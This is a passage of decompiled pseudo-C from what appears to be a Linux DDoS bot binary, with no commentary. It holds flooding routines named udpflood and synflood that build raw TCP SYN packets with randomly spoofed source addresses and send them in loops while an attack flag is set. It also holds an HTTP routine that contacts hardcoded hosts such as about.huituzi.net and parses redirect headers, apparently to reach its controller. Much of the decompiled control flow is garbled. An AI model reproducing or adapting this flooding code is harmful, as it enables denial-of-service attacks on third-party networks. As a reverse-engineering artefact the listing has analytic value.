- *__esp = &_v4168;
- L0806E1B0(__esp);
- _v4376 = "host: ";
- *__esp = &_v4168;
- L0806E1B0(__esp);
- _v4376 = "about.huituzi.net";
- *__esp = &_v4168;
- L0806E1B0(__esp);
- _v4376 = "
- \n
- \n";
- *__esp = &_v4168;
- L0806E1B0(__esp);
- _v4324 = 3;
- _v4320 = 0;
- _v4344 = 3;
- _v4340 = 0;
- _v4364 = 8;
- _v4368 = &_v4344;
- _v4372 = 21;
- L08073640(0, __esp, _v72, 1);
- _v4364 = 8;
- _v4368 = &_v4344;
- _v4372 = 20;
- L08073640(0, __esp, _v72, 1);
- *__esp = &_v4168;
- _t224 = L0806E770(__esp, __eflags);
- _v4368 = 0;
- _v4372 = _t224;
- _t227 = L08052BC0(__esi, _v72, &_v4168);
- __eflags = _t227;
- if(_t227 >= 0) {
- L0806F850(0, _t296, __esi, &_v4168, 0, 4096);
- _v32 = _v72;
- _t297 = &_v4316;
- asm("cld ");
- _push(32 << 2);
- _push(0);
- _push(_t297);
- memset();
- __esp = &(__esp[3]);
- _t298 = _t297 + 32;
- _v20 = 0;
- _v16 = _t297 + 32;
- asm("bts [ebp+edx*4+0xffffef28], eax");
- _v4364 = &_v4324;
- _v4368 = 0;
- _v4372 = 0;
- _t238 = &_v4316;
- _v4376 = _t238;
- *__esp = _v32 + 1;
- L08071940();
- _v56 = _t238;
- __eflags = _v56;
- if(_v56 >= 0) {
- __eflags = _v56;
- if(_v56 != 0) {
- _v4368 = 0;
- _v4372 = 4096;
- _t241 = L08052B00(__esi, _v72, &_v4168);
- _v68 = _t241;
- __eflags = _v68 - 255;
- if(_v68 != 255) {
- L0806F850(0, _t298, __esi, &_v4171, 0, 3);
- _v4171 = 13;
- _v4170 = 10;
- _v52 = &_v4168;
- _v44 = _v52;
- *__esp = &_v4168;
- _t247 = L0806E770(__esp, __eflags);
- _v48 = _t247 + _v52;
- while(1) {
- L25:
- __eflags = _v52 - _v48;
- if(_v52 >= _v48) {
- break;
- } else {
- goto L20;
- }
- goto L20;
- }
- L29:
- L08052A50(_v72);
- __eflags = _v40;
- if(_v40 == 0) {
- L32:
- _v4352 = 1;
- return _v4352;
- }
- _t257 = L0806E4D0(_v40, "http://about.wyb.name");
- __eflags = _t257;
- if(_t257 != 0) {
- goto L32;
- }
- _v4352 = 0;
- return _v4352;
- return _v4352;
- } else {
- goto L18;
- }
- goto L18;
- L20:
- _t252 = L0806F010(_v52, _v52, &_v4171);
- _v52 = _t252;
- __eflags = _v52;
- if(_v52 == 0) {
- goto L29;
- }
- *_v52 = 0;
- _v52 = _v52 + 2;
- _t260 = L0806E820(_v44, "Location:", 9);
- __eflags = _t260;
- if(_t260 != 0) {
- L24:
- _v44 = _v52;
- goto L25;
- }
- _t263 = L0806E360(__esp, _v44, 32);
- _v44 = _t263;
- __eflags = _v44;
- if(_v44 == 0) {
- goto L28;
- }
- _v44 = _v44 + 1;
- _v40 = _v44;
- goto L24;
- L28:
- goto L29;
- } else {
- goto L16;
- }
- goto L16;
- L18:
- L08052A50(_v72);
- _v4352 = -1;
- return _v4352;
- } else {
- goto L14;
- }
- goto L14;
- L16:
- _v4352 = 1;
- return _v4352;
- } else {
- goto L12;
- }
- goto L12;
- L14:
- _v4352 = -1;
- return _v4352;
- }
- L08052A50(_v72);
- _v4352 = -1;
- return _v4352;
- L12:
- *__esp = "send";
- L08060060();
- *__esp = _v72;
- L08052A50();
- _v4352 = -1;
- return _v4352;
- }
- *__esp = "socket";
- L08060060();
- _v4352 = -1;
- return _v4352;
- L3:
- _v4324 = 5;
- _v4320 = 0;
- _t299 = &_v4316;
- asm("cld ");
- _push(32 << 2);
- _push(0);
- _push(_t299);
- memset();
- __esp = &(__esp[3]);
- _t296 = _t299 + 32;
- _v28 = 0;
- _v24 = _t299 + 32;
- asm("bts [ebp+edx*4+0xffffef28], eax");
- _v4364 = &_v4324;
- _v4368 = 0;
- _t278 = &_v4316;
- _v4372 = _t278;
- _v4376 = 0;
- *__esp = _v72 + 1;
- L08071940();
- __eflags = _t278;
- if(_t278 <= 0) {
- _v56 = 1;
- goto L9;
- }
- _v4364 = &_v4336;
- _v4368 = &_v4332;
- _v4372 = 4;
- _v4376 = 1;
- _t281 = _v72;
- *__esp = _t281;
- L08073620(0, __esp);
- _v60 = _t281;
- __eflags = _v60;
- if(_v60 != 0) {
- _v56 = -1;
- } else {
- _v56 = 0;
- }
- }
- int udpflood(_Unknown_base* ThreadData)
- {// addr = 0x080499FB
- int hSockfd;
- char[1023] packet;
- struct sockaddr_in remoteAddr;
- UDPPACKET UdpObj;
- int nTime;
- struct hostent* szhost;
- socklen_t fromlen;
- int i;
- int looptime;
- int num;
- signed int _v8;
- signed short* _v12;
- signed int _v16;
- intOrPtr _v20;
- _unknown_ _v22;
- intOrPtr _v24;
- signed int _v28;
- intOrPtr _v32;
- char _v1056;
- intOrPtr _v1068;
- short _v1070;
- short _v1072;
- signed int _v1076;
- signed int _v1208;
- char _v1220;
- _unknown_ _v1224;
- _unknown_ _v1228;
- _unknown_ _v1232;
- signed int _v1236;
- intOrPtr _v1240;
- intOrPtr _v1252;
- signed int _v1256;
- signed int _v1260;
- signed int _v1262;
- _unknown_ r6;
- intOrPtr _t95;
- _unknown_ _t97;
- _unknown_ _t98;
- _unknown_ _t99;
- _unknown_ _t100;
- short _t123;
- intOrPtr _t125;
- _unknown_ _t128;
- signed int _t133;
- _unknown_ _t141;
- _unknown_ _t149;
- _unknown_ _t150;
- L0806F910( &_v1220, 148);
- _t95 = L0806F9E0(__edi, __esi, &_v1220, ThreadData, 148);
- _v1236 = 0;
- L08073680(__ebx, __esp, 2, 2);
- _v32 = _t95;
- if(_v32 != 255) {
- _v28 = 0;
- _v28 = _v1208;
- if(_v28 <= 0 || _v28 > 86400) {
- _v28 = 20;
- }
- L0806F910( &_v1072, 16);
- _v1072 = 2;
- *__esp = _v1076 & 65535;
- _t123 = L08075240(__esp);
- _v1070 = _t123;
- _t125 = &_v1220 + 16;
- L08075250(_t125);
- _v24 = _t125;
- if(_v24 == 0) {
- } else {
- _t128 = L0806E4D0( &_v1220 + 16, "0.0.0.0");
- if(_t128 == 0) {
- goto L19;
- } else {
- _v1068 = *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v24 + 16))))));
- _v20 = 16;
- _v1240 = 1024;
- _t133 = &_v1056;
- *__esp = _t133;
- L0806F910();
- _v16 = 0;
- while(_v16 <= 126) {
- L0805EBE0();
- _v8 = _t133;
- _t133 = L0806F850(__ebx, __edi, __esi, &_v1056 + (_v16 << 3), _v8, 8);
- _v16 = _v16 + 1;
- }
- }
- }
- goto L19;
- L20:
- _push(_t149);
- __esp = __esp - 16;
- _v1260 = _v1236;
- _v1256 = 0;
- _v1252 = _v1240;
- _v1262 = 0;
- while(_v20 > 1) {
- _v16 = _v16 + ( *_v12 & 65535 & 65535);
- _v12 = &(_v12[1]);
- _v20 = _v20 - 2;
- }
- }
- L19:
- L08052A50(_v32);
- _t98 = L08051050();
- L08051000(_t98);
- *__esp = 0;
- L08050FE0();
- goto L20;
- }
- uint16_t csum(uint16_t* addr, int len)
- {// addr = 0x08049C09
- int nleft;
- uint32_t sum;
- uint16_t* w;
- uint16_t answer;
- short unsigned int* _v8;
- short _v12;
- int _v16;
- short _v18;
- _unknown_ r6;
- _v16 = len;
- _v12 = 0;
- _v8 = addr;
- _v18 = 0;
- while(_v16 > 1) {
- _v12 = _v12 + ( *_v8 & 65535 & 65535);
- _v8 = &(_v8[1]);
- _v16 = _v16 - 2;
- }
- }
- int synflood(_Unknown_base* ThreadData)
- {// addr = 0x08049C8D
- SYNPACKET SynObj;
- short int tcp_flags;
- char[19] szNewIP;
- char[255] szPackData;
- char[127] pheader;
- struct sockaddr_in servaddr;
- int hSockft;
- struct hostent* szhost;
- int nTime;
- int tcphdr_size;
- struct ip* iph;
- struct tcphdr* tcph;
- struct tcp_options* tcpopt;
- int one;
- const int* val;
- int looptime;
- int aa;
- int ShamBase;
- int dwNewIP;
- signed int _v12;
- signed int _v16;
- signed int _v20;
- signed int _v24;
- signed int _v28;
- signed int _v32;
- signed int _v36;
- signed int _v40;
- _unknown_ _v42;
- unsigned int _v44;
- signed int _v48;
- char* _v52;
- unsigned int _v56;
- signed short _v58;
- signed int _v60;
- signed char* _v64;
- unsigned int _v68;
- signed int _v70;
- signed int _v72;
- signed int _v76;
- signed short _v78;
- signed int _v80;
- signed short _v82;
- signed int _v84;
- signed int _v88;
- signed short _v90;
- signed int _v92;
- signed int _v96;
- intOrPtr _v100;
- signed int _v104;
- signed int _v204;
- signed int _v216;
- signed int _v224;
- signed int _v228;
- signed int _v236;
- char _v240;
- char _v248;
- char _v252;
- char _v260;
- char _v272;
- char _v492;
- char _v504;
- char _v516;
- char _v528;
- unsigned int _v609;
- unsigned short _v610;
- signed int _v611;
- signed int _v612;
- short unsigned int _v620;
- unsigned int _v621;
- unsigned short _v622;
- signed int _v623;
- signed int _v624;
- short unsigned int _v632;
- unsigned int _v633;
- unsigned short _v634;
- signed int _v635;
- signed int _v636;
- char _v640;
- short unsigned int _v644;
- unsigned int _v645;
- unsigned short _v646;
- signed int _v647;
- signed int _v648;
- char _v652;
- signed int _v656;
- char _v660;
- char _v664;
- signed int _v668;
- char _v672;
- char _v676;
- signed int _v680;
- signed int _v684;
- signed int _v688;
- signed short _v692;
- signed short _v696;
- signed int _v700;
- signed int _v712;
- intOrPtr _v760;
- signed int _v764;
- signed short _v766;
- char _v924;
- signed short _v1344;
- signed int _v1396;
- signed int _v1400;
- signed int _v1404;
- signed int _v1408;
- signed int _v1412;
- intOrPtr _v1480;
- signed int _v1484;
- signed short _v1486;
- intOrPtr _v1636;
- char _v1648;
- signed short _v2068;
- signed int _v2112;
- signed int _v2116;
- signed int _v2120;
- signed int _v2124;
- signed int _v2128;
- intOrPtr _v2184;
- signed int _v2188;
- signed int _v2190;
- char _v2348;
- signed short _v2768;
- signed int _v2812;
- signed int _v2816;
- signed int _v2820;
- signed int _v2824;
- signed int _v2828;
- intOrPtr _v2892;
- signed int _v2896;
- signed int _v2898;
- char _v3056;
- signed short _v3476;
- signed int _v3528;
- signed int _v3532;
- signed int _v3536;
- signed char _v3540;
- signed int _v3544;
- intOrPtr _v3612;
- signed int _v3616;
- signed int _v3618;
- intOrPtr _v3768;
- char _v3780;
- signed short _v4200;
- signed int _v4244;
- signed int _v4248;
- signed int _v4252;
- signed char _v4256;
- signed int _v4260;
- signed int _v4272;
- signed int _v4276;
- signed char _v4280;
- signed int _v4282;
- _unknown_ r6;
- _unknown_ _t1353;
- unsigned int _t1354;
- signed int _t1356;
- _unknown_ _t1358;
- _unknown_ _t1359;
- _unknown_ _t1360;
- _unknown_ _t1361;
- _unknown_ _t1365;
- signed int _t1366;
- intOrPtr _t1368;
- _unknown_ _t1370;
- _unknown_ _t1371;
- _unknown_ _t1372;
- _unknown_ _t1373;
- _unknown_ _t1377;
- signed int _t1378;
- signed char* _t1383;
- _unknown_ _t1385;
- _unknown_ _t1386;
- _unknown_ _t1387;
- _unknown_ _t1388;
- _unknown_ _t1392;
- signed int _t1393;
- intOrPtr _t1395;
- _unknown_ _t1397;
- _unknown_ _t1398;
- _unknown_ _t1399;
- _unknown_ _t1400;
- _unknown_ _t1404;
- signed int _t1405;
- intOrPtr _t1407;
- _unknown_ _t1409;
- _unknown_ _t1410;
- _unknown_ _t1411;
- _unknown_ _t1412;
- _unknown_ _t1416;
- signed int _t1417;
- signed int _t1422;
- _unknown_ _t1424;
- _unknown_ _t1425;
- _unknown_ _t1426;
- _unknown_ _t1427;
- _unknown_ _t1448;
- signed char _t1467;
- short _t1476;
- intOrPtr _t1478;
- intOrPtr _t1480;
- short _t1489;
- signed int _t1497;
- signed int _t1498;
- _unknown_ _t1500;
- intOrPtr _t1508;
- signed int _t1509;
- _unknown_ _t1511;
- short _t1520;
- signed int _t1521;
- _unknown_ _t1523;
- signed int _t1532;
- _unknown_ _t1534;
- _unknown_ _t1539;
- signed char _t1549;
- _unknown_ _t1552;
- _unknown_ _t1556;
- _unknown_ _t1561;
- _unknown_ _t1570;
- _unknown_ _t1574;
- short unsigned int _t1577;
- _unknown_ _t1582;
- _unknown_ _t1597;
- signed char _t1616;
- short _t1625;
- intOrPtr _t1627;
- intOrPtr _t1629;
- short _t1638;
- signed int _t1646;
- signed int _t1647;
- _unknown_ _t1649;
- intOrPtr _t1657;
- signed int _t1658;
- _unknown_ _t1660;
- short _t1669;
- signed int _t1670;
- _unknown_ _t1672;
- signed int _t1681;
- _unknown_ _t1683;
- _unknown_ _t1688;
- signed char _t1698;
- _unknown_ _t1701;
- _unknown_ _t1705;
- _unknown_ _t1710;
- _unknown_ _t1719;
- _unknown_ _t1723;
- short unsigned int _t1726;
- signed int _t1729;
- _unknown_ _t1731;
- signed int _t1734;
- _unknown_ _t1750;
- char _t1769;
- short _t1778;
- intOrPtr _t1780;
- intOrPtr _t1782;
- short _t1791;
- signed int _t1799;
- signed int _t1800;
- _unknown_ _t1802;
- intOrPtr _t1810;
- signed int _t1811;
- _unknown_ _t1813;
- short _t1822;
- signed int _t1823;
- _unknown_ _t1825;
- signed int _t1834;
- _unknown_ _t1836;
- _unknown_ _t1841;
- char _t1851;
- _unknown_ _t1854;
- _unknown_ _t1858;
- _unknown_ _t1863;
- _unknown_ _t1872;
- _unknown_ _t1876;
- short unsigned int _t1879;
- _unknown_ _t1896;
- char _t1915;
- short _t1924;
- intOrPtr _t1926;
- intOrPtr _t1928;
- short _t1937;
- signed int _t1945;
- signed int _t1946;
- _unknown_ _t1948;
- intOrPtr _t1956;
- signed int _t1957;
- _unknown_ _t1959;
- short _t1968;
- signed int _t1969;
- _unknown_ _t1971;
- signed int _t1980;
- _unknown_ _t1982;
- _unknown_ _t1987;
- char _t1997;
- _unknown_ _t2000;
- _unknown_ _t2004;
- _unknown_ _t2009;
- _unknown_ _t2018;
- _unknown_ _t2022;
- short unsigned int _t2025;
- signed int _t2028;
- _unknown_ _t2030;
- _unknown_ _t2045;
- char _t2064;
- short _t2073;
- intOrPtr _t2075;
- intOrPtr _t2077;
- short _t2086;
- signed int _t2094;
- signed int _t2095;
- _unknown_ _t2097;
- intOrPtr _t2105;
- signed int _t2106;
- _unknown_ _t2108;
- short _t2117;
- signed int _t2118;
- _unknown_ _t2120;
- signed int _t2129;
- _unknown_ _t2131;
- _unknown_ _t2136;
- char _t2146;
- _unknown_ _t2149;
- _unknown_ _t2153;
- _unknown_ _t2158;
- _unknown_ _t2167;
- _unknown_ _t2171;
- short unsigned int _t2174;
- signed int _t2177;
- _unknown_ _t2179;
- signed int _t2182;
- _unknown_ _t2198;
- short _t2217;
- _unknown_ _t2226;
- intOrPtr _t2228;
- intOrPtr _t2230;
- short _t2239;
- signed int _t2247;
- signed int _t2248;
- _unknown_ _t2250;
- intOrPtr _t2258;
- signed int _t2259;
- _unknown_ _t2261;
- short _t2270;
- signed int _t2271;
- _unknown_ _t2273;
- signed int _t2282;
- _unknown_ _t2284;
- _unknown_ _t2289;
- intOrPtr _t2299;
- _unknown_ _t2302;
- _unknown_ _t2306;
- _unknown_ _t2311;
- _unknown_ _t2320;
- _unknown_ _t2324;
- short unsigned int _t2327;
- signed int _t2342;
- signed int _t2379;
- signed int _t2380;
- signed int _t2381;
- signed int _t2387;
- signed int _t2388;
- signed int _t2389;
- signed int _t2393;
- signed int _t2397;
- signed int _t2398;
- signed int _t2399;
- signed int _t2405;
- signed int _t2406;
- signed int _t2407;
- signed int _t2413;
- signed int _t2414;
- signed int _t2415;
- signed int _t2419;
- signed int _t2423;
- signed int _t2424;
- signed int _t2425;
- signed int _t2457;
- _unknown_ _t2465;
- _unknown_ _t2473;
- _unknown_ _t2501;
- signed int _t2508;
- _unknown_ _t2545;
- _unknown_ _t2585;
- _unknown_ _t2593;
- _unknown_ _t2621;
- _unknown_ _t2665;
- _unknown_ _t2687;
- signed int* _t2688;
- signed int* _t2689;
- signed int* _t2690;
- signed int* _t2691;
- signed int* _t2692;
- _unknown_ _t2693;
- _push(_t2342);
- __esp = __esp - 692;
- L0806F910( &_v216, 156);
- L0806F9E0(_t2674, __esi, &_v216, ThreadData, 156);
- _v58 = 2;
- _v696 = 16;
- _t1354 = &_v636;
- *__esp = _t1354;
- L0806F910();
- _v692 = 6;
- L08073680(_t2342, __esp, 2, 3);
- _v56 = _t1354;
- _v636 = 2;
- _t1356 = &((char*)( &_v216)[4]);
- L08075250(_t1356);
- _v52 = _t1356;
- if(_v52 != 0) {
- _t2198 = L0806E4D0( &((char*)( &_v216)[4]), "0.0.0.0");
- if(_t2198 == 0) {
- } else {
- _v48 = 0;
- _v48 = _v204;
- if(_v48 <= 0 || _v48 > 86400) {
- _v48 = 20;
- }
- _v632 = *( *(_v52[0x10]));
- _v44 = 20;
- _v40 = &_v492;
- _v36 = &_v492 + 20;
- _v32 = &_v492 + 40;
- *_v40 = *_v40 & 255 & 240 | 5;
- *_v40 = *_v40 & 255 & 15 | 64;
- *(_v40 + 1) = 0;
- *(_v40 + 2) = 60;
- *__esp = 31337;
- _t2217 = L08075240(__esp);
- *((short*)(_v40 + 4)) = _t2217;
- *(_v40 + 6) = 0;
- *(_v40 + 8) = 250;
- *(_v40 + 9) = 6;
- *(_v40 + 10) = 0;
- *(_v40 + 16) = _v632;
- *__esp = _v72 & 65535;
- _t2226 = L08075240(__esp);
- *(_v36 + 2) = _t2226;
- *__esp = 31337;
- _t2228 = L08075230(__esp);
- *((intOrPtr*)(_v36 + 4)) = _t2228;
- *__esp = 0;
- _t2230 = L08075230(__esp);
- *((intOrPtr*)(_v36 + 8)) = _t2230;
- *(_v36 + 12) = *(_v36 + 12) & 255 & 240;
- *(_v36 + 12) = *(_v36 + 12) & 255 & 15 | 160;
- *(_v36 + 13) = _v58 & 65535;
- *__esp = 57344;
- _t2239 = L08075240(__esp);
- *((short*)(_v36 + 14)) = _t2239;
- *(_v36 + 16) = 0;
- *(_v36 + 18) = 0;
- if((_v44 & 3) != 0) {
- _v44 = (_v44 + (_v44 >> 31 >> 30) & 3) - (_v44 >> 31 >> 30) + 1 << 2;
- }
- _v44 = 40;
- _v640 = 1;
- _v28 = &_v640;
- _v684 = 4;
- _v688 = _v28;
- _v692 = 3;
- _v696 = 0;
- _t2247 = _v56;
- *__esp = _t2247;
- L08073640(_t2342, __esp);
- if(_t2247 >= 0) {
- } else {
- _v24 = 0;
- while(1) {
- _t2248 = IsAttack;
- if(_t2248 == 0) {
- break;
- }
- _v20 = 0;
- while(_v20 <= 999) {
- L0805EBE0();
- _t2423 = _t2248;
- _v668 = -2147450879;
- _v660 = ((_v668 * _t2423 >> 32) + _t2423 >> 15) - (_t2423 >> 31);
- _v660 = _t2423 - (_v660 << 16) - _v660;
- *__esp = _v660;
- _t2258 = L08075230(__esp);
- _t2259 = _v36;
- *((intOrPtr*)(_t2259 + 4)) = _t2258;
- L0805EBE0();
- _t2424 = _t2259;
- _v668 = -2147450879;
- _v656 = ((_v668 * _t2424 >> 32) + _t2424 >> 15) - (_t2424 >> 31);
- _v656 = _t2424 - (_v656 << 16) - _v656;
- *__esp = _v656 & 65535 & 65535;
- _t2270 = L08075240(__esp);
- _t2271 = _v36;
- *((short*)(_t2271 + 14)) = _t2270;
- L0805EBE0();
- _t2425 = _t2271;
- _v668 = -2147450879;
- _t2342 = ((_v668 * _t2425 >> 32) + _t2425 >> 15) - (_t2425 >> 31);
- _v652 = _t2342;
- _v652 = _t2425 - (_v652 << 16) - _v652;
- *_v36 = _v652 & 65535;
- _t2282 = _v64 - _v68;
- _v16 = _t2282;
- if(_v16 <= 0) {
- goto L20;
- } else {
- L0805EBE0();
- _v12 = _t2282 % _v16 + _v68;
- L0806F850(_t2342, _t2674, __esi, &_v236, 0, 20);
- _t2342 = _v12 >> 16 & 255;
- _v680 = _v12 & 255;
- _v684 = _v12 >> 8 & 255;
- _v688 = _t2342;
- L0805FF50( &_v236, "%d.%d.%d.%d", _v12 >> 24);
- _t2299 = L08073B40( &_v236);
- *((intOrPtr*)(_v40 + 12)) = _t2299;
- L0806F850(_t2342, _t2674, __esi, &_v620, 0, 128);
- L0806F9E0(_t2674, __esi, &_v620, _v40 + 12, 4);
- L0806F9E0(_t2674, __esi, &((char*)( &_v620)[2]), _v40 + 16, 4);
- _v612 = 0;
- _v611 = *(_v40 + 9) & 255;
- _v610 = _v44 >> 8;
- _v609 = _v44;
- L0806F9E0(_t2674, __esi, &((char*)( &_v620)[6]), _v36, 20);
- L0806F9E0(_t2674, __esi, &((char*)( &_v620)[0x10]), _v32, 8);
- _t2327 = csum( &_v620, _v44 + 12);
- *(_v36 + 16) = _t2327;
- _v680 = 16;
- _v684 = &_v636;
- _v688 = 0;
- _v692 = *(_v40 + 2) & 65535 & 65535;
- _t2248 = L08052C20(__esi, _v56, &_v492);
- _v20 = _v20 + 1;
- continue;
- }
- goto L20;
- }
- }
- }
- }
- }
- L20:
- L08052A50(_v56);
- _t1359 = L08051050();
- L08051000(_t1359);
- *__esp = 0;
- L08050FE0();
- goto L21;
- L21:
- _push(_t2687);
- _t2688 = __esp;
- _push(_t2674);
- _push(__esi);
- _push(_t2342);
- __esp = __esp - 700;
- L0806F910( &_v924, 156);
- L0806F9E0(_t2674, __esi, &_v924, _v696, 156);
- _v766 = 2;
- _v1412 = 16;
- _t1366 = &_v1344;
- *__esp = _t1366;
- L0806F910();
- _v1408 = 6;
- L08073680(_t2342, __esp, 2, 3);
- _v764 = _t1366;
- _v1344 = 2;
- _t1368 = &_v924 + 16;
- L08075250(_t1368);
- _v760 = _t1368;
- if(_v760 != 0) {
- _t2045 = L0806E4D0( &((char*)( &_v228)[4]), "0.0.0.0");
- if(_t2045 == 0) {
- } else {
- _v60 = 0;
- _v60 = _v216;
- if(_v60 <= 0 || _v60 > 86400) {
- _v60 = 20;
- }
- _v644 = *( *(_v64[0x10]));
- _v56 = 20;
- _v52 = &_v504;
- _v48 = &_v504 + 20;
- _v44 = &_v504 + 40;
- *_v52 = *_v52 & 255 & 240 | 5;
- *_v52 = *_v52 & 255 & 15 | 64;
- (_v52[1]) = 0;
- (_v52[2]) = 60;
- *__esp = 31337;
- _t2064 = L08075240(__esp);
- (_v52[4]) = _t2064;
- (_v52[6]) = 0;
- (_v52[8]) = 250;
- (_v52[9]) = 6;
- (_v52[0xa]) = 0;
- (_v52[0x10]) = _v644;
- *__esp = _v84 & 65535;
- _t2073 = L08075240(__esp);
- *((short*)(_v48 + 2)) = _t2073;
- *__esp = 31337;
- _t2075 = L08075230(__esp);
- *((intOrPtr*)(_v48 + 4)) = _t2075;
- *__esp = 0;
- _t2077 = L08075230(__esp);
- *((intOrPtr*)(_v48 + 8)) = _t2077;
- *(_v48 + 12) = *(_v48 + 12) & 255 & 240;
- *(_v48 + 12) = *(_v48 + 12) & 255 & 15 | 160;
- *(_v48 + 13) = _v70 & 65535;
- *__esp = 57344;
- _t2086 = L08075240(__esp);
- *((short*)(_v48 + 14)) = _t2086;
- *(_v48 + 16) = 0;
- *(_v48 + 18) = 0;
- if((_v56 & 3) != 0) {
- _v56 = (_v56 + (_v56 >> 31 >> 30) & 3) - (_v56 >> 31 >> 30) + 1 << 2;
- }
- _v56 = 40;
- _v652 = 1;
- _v40 = &_v652;
- _v1400 = 4;
- _v1404 = _v40;
- _v1408 = 3;
- _v1412 = 0;
- _t2094 = _v68;
- *__esp = _t2094;
- L08073640(_t2342, __esp);
- if(_t2094 >= 0) {
- } else {
- _v36 = 0;
- while(1) {
- _t2095 = IsAttack;
- if(_t2095 == 0) {
- break;
- }
- _v32 = 0;
- while(_v32 <= 999) {
- L0805EBE0();
- _t2413 = _t2095;
- _v684 = -2147450879;
- _v676 = ((_v684 * _t2413 >> 32) + _t2413 >> 15) - (_t2413 >> 31);
- _v676 = _t2413 - (_v676 << 16) - _v676;
- *__esp = _v676;
- _t2105 = L08075230(__esp);
- _t2106 = _v48;
- *((intOrPtr*)(_t2106 + 4)) = _t2105;
- L0805EBE0();
- _t2414 = _t2106;
- _v684 = -2147450879;
- _v672 = ((_v684 * _t2414 >> 32) + _t2414 >> 15) - (_t2414 >> 31);
- _v672 = _t2414 - (_v672 << 16) - _v672;
- *__esp = _v672 & 65535 & 65535;
- _t2117 = L08075240(__esp);
- _t2118 = _v48;
- *((short*)(_t2118 + 14)) = _t2117;
- L0805EBE0();
- _t2415 = _t2118;
- _v684 = -2147450879;
- _t2342 = ((_v684 * _t2415 >> 32) + _t2415 >> 15) - (_t2415 >> 31);
- _v668 = _t2342;
- _t2674 = _t2415 - (_v668 << 16) - _v668;
- _v668 = _t2674;
- *_v48 = _v668 & 65535;
- _t2129 = _v76 - _v80;
- _v28 = _t2129;
- if(_v28 <= 0) {
- goto L41;
- } else {
- L0805EBE0();
- _v24 = _t2129 % _v28 + _v80;
- L0806F850(_t2342, _t2674, __esi, &_v248, 0, 20);
- _v1396 = _v24 & 255;
- _v1400 = _v24 >> 8 & 255;
- _v1404 = _v24 >> 16 & 255;
- L0805FF50( &_v248, "%d.%d.%d.%d", _v24 >> 24);
- _t2146 = L08073B40( &_v248);
- (_v52[0xc]) = _t2146;
- L0806F850(_v24 >> 16 & 255, _t2674, __esi, &_v632, 0, 128);
- L0806F9E0(_t2674, __esi, &_v632, &(_v52[0xc]), 4);
- L0806F9E0(_t2674, __esi, &((char*)( &_v632)[2]), &(_v52[0x10]), 4);
- _v624 = 0;
- _v623 = (_v52[9]) & 255;
- _v622 = _v56 >> 8;
- _v621 = _v56;
- L0806F9E0(_t2674, __esi, &((char*)( &_v632)[6]), _v48, 20);
- L0806F9E0(_t2674, __esi, &((char*)( &_v632)[0x10]), _v44, 8);
- _t2174 = csum( &_v632, _v56 + 12);
- *(_v48 + 16) = _t2174;
- _t2342 = &_v648;
- _t2177 = (_v52[2]) & 65535;
- __esi = _t2177 & 65535;
- L0805EBE0();
- _t2419 = _t2177;
- _v684 = -1600085855;
- _t2182 = _t2419 >> 31;
- _t2674 = ((_v684 * _t2419 >> 32) + _t2419 >> 7) - _t2182;
- _v664 = _t2674;
- _v664 = _t2419 - _t2182 * _v664;
- _v1396 = 16;
- _v1400 = _t2342;
- _v1404 = 0;
- _v1408 = __esi + _v664 + 800;
- _t2095 = L08052C20(__esi, _v68, &_v504);
- _v32 = _v32 + 1;
- continue;
- }
- goto L41;
- }
- }
- }
- }
- }
- L41:
- L08052A50(_v68);
- _t1371 = L08051050();
- L08051000(_t1371);
- *__esp = 0;
- L08050FE0();
- goto L42;
- L42:
- _push(_t2688);
- _t2689 = __esp;
- _push(__esi);
- _push(_t2342);
- __esp = __esp - 704;
- L0806F910( &_v1648, 160);
- L0806F9E0(_t2674, __esi, &_v1648, _v1412, 160);
- _v1486 = 2;
- _v2128 = 16;
- _t1378 = &_v2068;
- *__esp = _t1378;
- L0806F910();
- _v2124 = 6;
- L08073680(_t2342, __esp, 2, 3);
- _v1484 = _t1378;
- _v2068 = 2;
- _v1480 = _v1636;
- if(_v1480 <= 60 || _v72 > 800) {
- _v72 = 61;
- }
- _v68 = _v72 - 60;
- _t1383 = &_v240 + 20;
- L08075250(_t1383);
- _v64 = _t1383;
- if(_v64 != 0) {
- _t1896 = L0806E4D0( &_v240 + 20, "0.0.0.0");
- if(_t1896 == 0) {
- } else {
- _v60 = 0;
- _v60 = _v224;
- if(_v60 <= 0 || _v60 > 86400) {
- _v60 = 20;
- }
- _v656 = *( *(_v64[0x10]));
- _v56 = 20;
- _v52 = &_v516;
- _v48 = &_v516 + 20;
- _v44 = &_v516 + 40;
- *_v52 = *_v52 & 255 & 240 | 5;
- *_v52 = *_v52 & 255 & 15 | 64;
- (_v52[1]) = 0;
- (_v52[2]) = 60;
- *__esp = 31337;
- _t1915 = L08075240(__esp);
- (_v52[4]) = _t1915;
- (_v52[6]) = 0;
- (_v52[8]) = 250;
- (_v52[9]) = 6;
- (_v52[0xa]) = 0;
- (_v52[0x10]) = _v656;
- *__esp = _v92 & 65535;
- _t1924 = L08075240(__esp);
- *((short*)(_v48 + 2)) = _t1924;
- *__esp = 31337;
- _t1926 = L08075230(__esp);
- *((intOrPtr*)(_v48 + 4)) = _t1926;
- *__esp = 0;
- _t1928 = L08075230(__esp);
- *((intOrPtr*)(_v48 + 8)) = _t1928;
- *(_v48 + 12) = *(_v48 + 12) & 255 & 240;
- *(_v48 + 12) = *(_v48 + 12) & 255 & 15 | 160;
- *(_v48 + 13) = _v78 & 65535;
- *__esp = 57344;
- _t1937 = L08075240(__esp);
- *((short*)(_v48 + 14)) = _t1937;
- *(_v48 + 16) = 0;
- *(_v48 + 18) = 0;
- if((_v56 & 3) != 0) {
- _v56 = (_v56 + (_v56 >> 31 >> 30) & 3) - (_v56 >> 31 >> 30) + 1 << 2;
- }
- _v56 = 40;
- _v664 = 1;
- _v40 = &_v664;
- _v2116 = 4;
- _v2120 = _v40;
- _v2124 = 3;
- _v2128 = 0;
- _t1945 = _v76;
- *__esp = _t1945;
- L08073640(_t2342, __esp);
- if(_t1945 >= 0) {
- } else {
- _v36 = 0;
- while(1) {
- _t1946 = IsAttack;
- if(_t1946 == 0) {
- break;
- }
- _v32 = 0;
- while(_v32 <= 999) {
- L0805EBE0();
- _t2405 = _t1946;
- _v700 = -2147450879;
- _v688 = ((_v700 * _t2405 >> 32) + _t2405 >> 15) - (_t2405 >> 31);
- _v688 = _t2405 - (_v688 << 16) - _v688;
- *__esp = _v688;
- _t1956 = L08075230(__esp);
- _t1957 = _v48;
- *((intOrPtr*)(_t1957 + 4)) = _t1956;
- L0805EBE0();
- _t2406 = _t1957;
- _v700 = -2147450879;
- _v684 = ((_v700 * _t2406 >> 32) + _t2406 >> 15) - (_t2406 >> 31);
